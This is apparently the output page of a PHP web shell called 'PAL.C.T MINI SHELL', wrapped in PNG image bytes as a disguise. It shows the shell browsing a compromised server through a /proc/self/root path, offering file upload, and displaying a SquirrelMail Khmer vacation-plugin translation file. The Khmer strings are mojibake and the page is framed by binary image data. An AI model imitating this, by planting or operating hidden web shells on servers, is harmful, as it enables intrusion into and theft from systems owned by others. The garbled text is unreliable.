‰php  IHDRwQ)Bæa pHYs  šœsRGB®ÎégAMA± üaÔIDATxíÜMk\UÇás&uo,ÖmÄD )XwîŒ+Çe?‰ºtw.“oàWpå§;—³°QHZnw¢`gaiJ’9Þˆ‰ÑÒÌŸç™û¾ýÍaî=·nlŽ[ ʨG܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îÄ ¸w€@âH܉;@ q$îú¸·y H†¯@E7j­Í 1j+OF¥–€‹Rg}Ü«‘;@’E™Öa¹±ùáÓ~ ÿj`Ùuû'ož> ÙjÝ-$˜_§q?¾q¸SXzG'åóay

PAL.C.T MINI SHELL
files >> /proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/
upload
files >> //proc/self/root/usr/share/squirrelmail/locale/km/LC_MESSAGES/vacation_local.po

# Khmer (km) vacation_local Translation
# Khoem Sokhem <khoemsokhem@khmeros.info>, 2008, 2009.
# Auk Piseth <piseth_dv@khmeros.info>, 2008.
# Copyright (c) 2008-2009 KhmerOS Project
# Copyright (c) 1999-2009 The SquirrelMail Project Team
msgid ""
msgstr ""
"Project-Id-Version: vacation_local\n"
"POT-Creation-Date: 2005-07-20 17:05+0200\n"
"PO-Revision-Date: 2009-04-24 09:33+0700\n"
"Last-Translator: Khoem Sokhem <khoemsokhem@khmeros.info>\n"
"Language-Team: Khmer <en@li.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"
"Plural-Forms: nplurals=1; plural=0;\n"

msgid "Vacation Message"
msgstr "សារ​ážáŸ’ងៃ​វិស្សមកាល"

msgid ""
"Set up an auto-reply message and optionally forward your incoming email. "
"This can be useful when you are away on vacation."
msgstr ""
"រៀបចំ​សារ​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž· និង​បញ្ជូន​អ៊ីមែល​ទទួល​បាន​របស់​អ្នក​បន្ážÂ áŸ” "
"វា​មាន​ប្រយោជនáŸâ€‹áž“ៅពáŸáž›â€‹ážŠáŸ‚ល​អ្នក​នៅ​ážáŸ’ងៃ​វិស្សមកាល ។"

msgid "Bad characters in list of forwarding address."
msgstr "áž…ážšáž¹ážáž›áž€áŸ’ážážŽáŸˆâ€‹áž˜áž·áž“ážáŸ’រឹមážáŸ’រូវ​នៅ​ក្នុង​បញ្ជី​អាសយដ្ឋាន​បញ្ជូន​បន្ážÂ áŸ”"

msgid "Options"
msgstr "ជម្រើស"

msgid "Change Vacation Message"
msgstr "ផ្លាស់ប្ដូរ​សារ​វិស្សមកាល"

msgid "Settings Saved"
msgstr "បាន​រក្សាទុក​ការ​កំណážáŸ‹"

msgid "Send auto-reply to sender?"
msgstr "ផ្ញើ​សារ​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·â€‹áž‘ៅ​អ្នក​ផ្ញើឬ ?"

msgid "Vacation subject:"
msgstr "ប្រធាន​បទ​ážáŸ’ងៃ​វិស្សមកាល ៖"

msgid "Vacation message:"
msgstr "សារ​ážáŸ’ងៃ​វិស្សមកាល ៖"

msgid "Forward incoming messages to addresses listed below?"
msgstr "បញ្ជូន​សារ​ទទួល​បាន​បន្ážâ€‹áž‘ៅ​អាសយដ្ឋាន​ដែល​បាន​រាយ​ážáž¶áž„ក្រោម​ឬ ?"

msgid "No local delivery; forward and/or auto-reply only."
msgstr "គ្មាន​ការ​បញ្ជូន​ដល់​ជា​មូលដ្ឋាន​ទ០បញ្ជូន​បន្ហនិង​/ឬ​ការ​ឆ្លើយážáž”​ស្វáŸáž™áž”្រវážáŸ’ážáž·Â áŸ”"

msgid "Forwarding email addresses (one address per line)"
msgstr "បញ្ជូន​​បន្ážâ€‹áž‘ៅ​អាសយដ្ឋាន​អ៊ីមែល (ក្នុង​មួយ​បន្ទាážáŸ‹ អាសយដ្ឋាន​មួយ)"

msgid "Submit"
msgstr "ដាក់ស្នើ"

msgid "Error: Could not bind to LDAP server."
msgstr "កំហុស ៖ មិនអាច​ចង​ម៉ាស៊ីន​បម្រើ LDAP បានទáŸÂ áŸ”"

#, php-format
msgid "Error: Could not find FTP server for %s in LDAP server."
msgstr "កំហុស ៖ មិនអាច​រក​ម៉ាស៊ីន​បម្រើ FTP សម្រាប់ %s នៅ​ក្នុង​ម៉ាស៊ីន​បម្រើ LDAP ។"

msgid "Error: Could not connect to LDAP server."
msgstr "កំហុស ៖ មិនអាច​ážáž—្ជាប់​ទៅ​ម៉ាស៊ីន​បម្រើ LDAP បានទáŸÂ áŸ”"

msgid "Error: Unable to connect to FTP server. Please try again later."
msgstr "កំហុស ៖ មិនអាច​ážáž—្ជាប់​ទៅ​ម៉ាស៊ីន​បម្រើ FTP បានទáŸÂ áŸ” សូម​ព្យាយាម​ម្ដងទៀážâ€‹áž“ៅ​ពáŸáž›â€‹áž€áŸ’រោយ ។"

msgid ""
"Error: Unable to log in to FTP server. Please contact your system "
"administrator."
msgstr "កំហុស ៖ មិនអាច​ចូល​ទៅកាន់​ម៉ាស៊ីន​បម្រើ FTP បានទáŸÂ áŸ” សូម​ទាក់ទង​ទៅ​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

msgid ""
"Error: Unable to switch to passive FTP mode. Please contact your system "
"administrator."
msgstr "កំហុស ៖ មិនអាច​ប្ដូរ​ទៅ​របៀប FTP អកម្ម​បានទáŸÂ áŸ” សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

msgid "Error: Unable to upload file. Please contact your system administrator."
msgstr "កំហុស ៖ មិនអាច​ផ្ទុក​ឯកសារ​ឡើង​បានទáŸÂ áŸ” សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

msgid "An error occurred uploading the file:"
msgstr "មាន​កំហុស​កើážáž¡áž¾áž„​នៅ​ពáŸáž›â€‹áž•្ទុក​ឯកសារ​ឡើង ៖"

msgid "Error: unable to download file. Please contact your system administrator."
msgstr "កំហុស ៖ មិនអាច​ទាញយក​ឯកសារ​បានទáŸÂ áŸ” សូម​ទាក់ទង​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

msgid "An error occurred downloading the file:"
msgstr "មាន​កំហុស​នៅពáŸáž›â€‹áž‘ាញយក​ឯកសារ ៖"

msgid "Error: unable to delete file. Please contact your system administrator."
msgstr "កំហុស ៖ មិនអាច​លុប​ឯកសារ​បានទáŸÂ áŸ” សូម​ទាក់ទង​ទៅ​អ្នក​គ្រប់គ្រង​ប្រពáŸáž“្ធ​របស់​អ្នក ។"

msgid "An error occurred deleting the file:"
msgstr "មាន​កំហុស​នៅពáŸáž›â€‹áž›áž»áž”​ឯកសារ ៖"

msgid "Unknown action:"
msgstr "អំពើ​មិន​ស្គាល់ ៖"

msgid ""
"An error occurred attempting to read temp file; check permissions on "
"attachments directory."
msgstr "មាន​កំហុស​នៅពáŸáž›â€‹áž¢áž¶áž“​ឯកសារ​បណ្ដោះ​អាសន្ន ។ សូម​ពិនិážáŸ’យ​មើល​សិទ្ធិ​នៅ​លើ​ážážâ€‹áž¯áž€ážŸáž¶ážšâ€‹áž—្ជាប់ ។"

msgid ""
"An error occurred attempting to create temp file; check permissions on "
"attachments directory."
msgstr "មាន​កំហុស​នៅពáŸáž›â€‹áž”ង្កើážâ€‹áž¯áž€ážŸáž¶ážšâ€‹áž”ណ្ដោះ​អាសន្ន ។ សូម​មើល​សិទ្ធិ​នៅ​លើ​ážážâ€‹áž¯áž€ážŸáž¶ážšâ€‹áž—្ជាប់ ។"

ß yôÊá½~ŒorÀ5ÖJ™={þÁEÇêe¾uç£Qk®•ᯘG{÷?ù»ã+—]üôçƒÉÍ×ןô?wûM3X^¶Úæ­Œ>{´7Ù¾ì´Kã>èo²ÎnÝ\ÿªÊj¿y·ðR £õãg/î=ÞÿfúOçÖr·o×NVÊv¿ú~ÿY+ü¿NGêu÷ø·Ã®›þë¹HWŠûyëwÆ[eQ¶Ê¨¾SÚb­Ö>öÍËÇþ³>ä}Gçmx[o[<ÞÚ{ðýŸÏ®_ÅïqF– ÚÛvMIEND®B`‚